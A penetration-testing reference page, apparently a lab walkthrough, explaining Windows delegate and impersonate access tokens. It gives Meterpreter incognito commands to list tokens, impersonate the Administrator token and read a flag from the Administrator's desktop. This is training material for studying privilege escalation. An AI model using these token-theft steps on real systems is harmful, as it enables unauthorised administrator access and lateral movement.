> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/privilege-escalation/windows-priv-esc/impersonating-access-tokens.md).
# Impersonating access tokens
### Conceptual Overview: Windows Tokens
Tokens are temporary keys that allow a user or process to access a system or network resources without re-entering credentials for every individual action. They act as "cookies for computers" by maintaining an authenticated session.
***
#### Types of Tokens
The slide identifies two primary types of access tokens used in Windows environments:
| **Token Type** | **Utility / Purpose** |
| -------------- | ---------------------------------------------------------------------------------------------------------------------- |
| Delegate | Created for interactive sessions, such as logging directly into a physical machine or using Remote Desktop (RDP). |
| Impersonate | Created for "non-interactive" tasks, such as automatically attaching a network drive or running a domain logon script. |
***
#### Security Context (Utility)
In the context of the penetration testing workflow seen in your previous screenshots (like using `whoami` in WSL), understanding tokens is critical for Privilege Escalation and Lateral Movement:
* Token Theft/Impersonation: If a user with high privileges (like a Domain Admin) has an active Delegate token on a compromised machine, an attacker can "steal" or impersonate that token to gain the same level of access without knowing the admin's password.
* Automation: Impersonate tokens allow automated services to perform tasks on behalf of a user across the network.
### Check if you have privilege to impersonate tokens
{% embed url="" %}
```
load incognito
list_tokens -u
```
We can notice that the Administrator user token is available. Impersonate the Administrator user token and read the flag.
```
impersonate_token ATTACKDEFENSE\\Administrator
getuid
cat C:\\Users\\Administrator\\Desktop\\flag.txt
```